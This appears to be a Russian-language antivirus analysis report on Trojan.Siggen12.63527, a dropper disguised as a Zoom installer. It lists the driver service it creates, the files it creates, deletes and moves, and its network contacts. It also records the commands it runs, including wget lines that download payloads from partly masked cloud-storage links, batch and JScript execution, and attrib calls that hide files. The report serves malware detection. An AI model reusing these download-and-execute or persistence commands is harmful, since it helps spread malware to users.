Trojan.Siggen12.63527

Техническая информация

Для обеспечения автозапуска и распространения

Устанавливает следующие настройки сервисов

[<HKLM>\System\CurrentControlSet\Services\SNAPSHOD0] 'ImagePath' = '<DRIVERS>\SNAPSHOD0.sys'

Создает следующие сервисы

'SNAPSHOD0' <DRIVERS>\SNAPSHOD0.sys

Вредоносные функции

Запускает на исполнение

'%WINDIR%\syswow64\taskkill.exe' /im "<Имя файла>.exe" /F
'%WINDIR%\syswow64\taskkill.exe' /im SnapShot.Exe /F

Изменения в файловой системе

Создает следующие файлы

%TEMP%\zoom.bat
u:\zoom5\swscale-2.dll
u:\zoom5\ssb_sdk.dll
u:\zoom5\reslib.dll
u:\zoom5\nydus.dll
u:\zoom5\msaalib.dll
u:\zoom5\mdnsresponder.dll
u:\zoom5\mdnsclient.dll
u:\zoom5\mcm.dll
u:\zoom5\libssl-1_1.dll
u:\zoom5\libfaac.dll
u:\zoom5\libcrypto-1_1.dll
u:\zoom5\installer.exe
u:\zoom5\duilib.dll
u:\zoom5\dllsafecheck.dll
u:\zoom5\cptshare.dll
u:\zoom5\cptservice.exe
u:\zoom5\cptinstall.exe
u:\zoom5\cpthost.exe
u:\zoom5\cptcontrol.exe
u:\zoom5\cmmlib.dll
u:\zoom5\cmmbrowserengine.dll
u:\zoom5\avutil-52.dll
u:\zoom5\avformat-55.dll
u:\zoom5\asproxy.dll
u:\zoom5\avcodec-55.dll
u:\zoom5\tp.dll
u:\zoom5\turbojpeg.dll
%APPDATA%\zoom\data\zoomus.tmp.db-journal
%APPDATA%\zoom\data\zoomus.db
%APPDATA%\zoom\data\zoomus.db-journal
u:\zoom5\zzhost.dll
u:\zoom5\zwinres.dll
u:\zoom5\zwebservice.dll
u:\zoom5\zvideoui.dll
u:\zoom5\zvideoapp.dll
u:\zoom5\zupdater.exe
u:\zoom5\ztscoder.exe
u:\zoom5\zoom_launcher.exe
u:\zoom5\zmb.dll
u:\zoom5\aomhost\avcodec-58.dll
u:\zoom5\zlt.dll
u:\zoom5\zdata.dll
u:\zoom5\zcrashreport.exe
u:\zoom5\zcrashreport.dll
u:\zoom5\zchatui.dll
u:\zoom5\zchatapp.dll
u:\zoom5\zautoupdate.dll
u:\zoom5\xmppdll.dll
u:\zoom5\winhttp.dll
u:\zoom5\viper.dll
u:\zoom5\util.dll
u:\zoom5\aomhost\zmp.dll
u:\zoom5\aomhost\zcrashreport64.exe
u:\zoom5\aomhost\zcrashreport64.dll
u:\zoom5\directui_license.txt
u:\zoom5\dingdong1.pcm
u:\zoom5\dingdong.pcm
u:\zoom5\crashrpt_lang.ini
u:\zoom5\aomhost\crashrpt_lang.ini
%TEMP%\123zoom5.exe
%TEMP%\conf1zoom5
%TEMP%\2zoom5.#
%TEMP%\4zoom5.#
%TEMP%\3zoom5.#
%TEMP%\5zoom5.#
%TEMP%\4wvhh5s1u
%TEMP%\1zoom5.#
%WINDIR%\temp\udd6bad.tmp
%TEMP%\wg.bat
<DRIVERS>\snapshod0.sys
%TEMP%\rd.sna
%TEMP%\2mvpt9fx1
nul
%TEMP%\wz.bat
%TEMP%\ok.js
%TEMP%\wget.exe
u:\zoom5\duilib_license.txt
u:\zoom5\leave.pcm
u:\zoom5\droplet.pcm
u:\zoom5\meeting_chat_chime.pcm
u:\zoom5\aomhost\zcrashreport.exe
u:\zoom5\meeting_raisehand_chime.pcm
u:\zoom5\aomhost\zcrashreport.dll
u:\zoom5\aomhost\swscale-5.dll
u:\zoom5\aomhost\swresample-3.dll
u:\zoom5\aomhost\mphost.exe
u:\zoom5\aomhost\mkldnn.dll
u:\zoom5\aomhost\libcml.dll
u:\zoom5\aomhost\dllsafecheck64.dll
u:\zoom5\aomhost\dllsafecheck.dll
u:\zoom5\aomhost\cldnn64.dll
u:\zoom5\aomhost\avutil-56.dll
u:\zoom5\zoom.exe
%APPDATA%\zoom\data\zoomus.tmp.db
u:\zoom5\aomhost\aomhost64.exe
u:\zoom5\aomagent.dll
u:\zoom5\annoter.dll
u:\zoom5\airhost.exe
u:\zoom5\zoominstall.xml
u:\zoom5\zcacert.pem
u:\zoom5\wr_ding.pcm
u:\zoom5\ring.pcm
u:\zoom5\record_stop.pcm
u:\zoom5\record_start.pcm
u:\zoom5\nanosvg_license.txt
u:\zoom5\aomhost\avformat-58.dll
%APPDATA%\zoom\data\zoom.us.ini

Удаляет следующие файлы

%TEMP%\ok.js
%WINDIR%\temp\udd6bad.tmp
%TEMP%\1zoom5.#
%TEMP%\2zoom5.#
%TEMP%\3zoom5.#
%TEMP%\4zoom5.#
%TEMP%\5zoom5.#
%TEMP%\4wvhh5s1uzoom5
%TEMP%\conf1zoom5
%TEMP%\wget.exe
%TEMP%\123zoom5.exe
%APPDATA%\zoom\data\zoomus.db-journal
%APPDATA%\zoom\data\zoomus.tmp.db-journal

Перемещает следующие файлы

%TEMP%\2mvpt9fx1 в %TEMP%\snapshot.exe
%TEMP%\4wvhh5s1u в %TEMP%\4wvhh5s1uzoom5

Подменяет следующие файлы

%TEMP%\ok.js
%APPDATA%\zoom\data\zoomus.db-journal

Сетевая активность

Подключается к

'cl######.datacloudmail.ru':80
'cl######.datacloudmail.ru':443
'zo#m.us':443

TCP

'cl######.datacloudmail.ru':443
'zo#m.us':443
'cd#.zoom.us':443

UDP

DNS ASK cl######.datacloudmail.ru
DNS ASK zo#m.us
DNS ASK cd#.zoom.us

Другое

Ищет следующие окна

ClassName: '' WindowName: ''
ClassName: '' WindowName: '1073474/1700'
ClassName: '' WindowName: '1073864/1132'

Создает и запускает на исполнение

'%TEMP%\wget.exe' --no-check-certificate http://cl######.datacloudmail.ru/weblink/get/3FZq/2MVPt9fx1
'%TEMP%\wget.exe' --no-check-certificate --output-document=Rd.Sna http://cl######.datacloudmail.ru/weblink/get/2gXn/hH5sR16jd
'%TEMP%\snapshot.exe' -!unmount
'%TEMP%\snapshot.exe' Rd.Sna U: -vq
'%TEMP%\wget.exe' --no-check-certificate http://cl######.datacloudmail.ru/weblink/get/3egv/4Wvhh5S1u
'%TEMP%\wget.exe' --no-check-certificate --output-document=1Zoom5.# http://cl######.datacloudmail.ru/weblink/get/23nT/4pcSuf4hW
'%TEMP%\wget.exe' --no-check-certificate --output-document=2Zoom5.# http://cl######.datacloudmail.ru/weblink/get/sr8L/226sTe1YP
'%TEMP%\wget.exe' --no-check-certificate --output-document=3Zoom5.# http://cl######.datacloudmail.ru/weblink/get/4h62/25JBAH9QU
'%TEMP%\wget.exe' --no-check-certificate --output-document=5Zoom5.# http://cl######.datacloudmail.ru/weblink/get/51Ku/5kPwDRE5A
'%TEMP%\wget.exe' --no-check-certificate --output-document=4Zoom5.# http://cl######.datacloudmail.ru/weblink/get/5niA/4V4qs5fQq
'%TEMP%\123zoom5.exe'
'u:\zoom5\zoom.exe'
'u:\zoom5\zoom.exe' --action=uploadFeedback
'u:\zoom5\zoom.exe' --action=preload --runaszvideo=TRUE
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\Zoom.Bat" "<Полный путь к файлу>" "<Текущая директория>" "<Имя файла>.exe" "%LOCALAPPDATA%\Temp" "' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\Zoom.Bat" "<Полный путь к файлу>" "<Текущая директория>" "<Имя файла>.exe" "%LOCALAPPDATA%\Temp" "
'%WINDIR%\syswow64\attrib.exe' "<Полный путь к файлу>"
'%WINDIR%\syswow64\xcopy.exe' /E/H/Y/I %TEMP%\Zoom Zoom\
'%WINDIR%\syswow64\attrib.exe' -r %TEMP%\wz.bat
'%WINDIR%\syswow64\find.exe' /i "Wget.Exe"
'%WINDIR%\syswow64\tasklist.exe' /fi "IMAGENAME eq Wget.Exe"
'%WINDIR%\syswow64\ping.exe' -n 2 localhost
'%WINDIR%\syswow64\findstr.exe' /BIR "A....."
'%WINDIR%\syswow64\cmd.exe' /K wg.bat
'%WINDIR%\syswow64\attrib.exe' +a +r +h +s SnapShod0.Sys
'%WINDIR%\syswow64\ping.exe' -n 6 localhost
'%WINDIR%\syswow64\cmd.exe' /K wz.bat
'%WINDIR%\syswow64\attrib.exe' +r wz.bat
'%WINDIR%\syswow64\cscript.exe' Ok.Js //Nologo
'%WINDIR%\syswow64\attrib.exe' +r Zoom.bat
'%WINDIR%\syswow64\attrib.exe' +r SnapShot.Exe
'%WINDIR%\syswow64\xcopy.exe' /E/H/Y/I Zoom "%APPDATA%\Zoom\"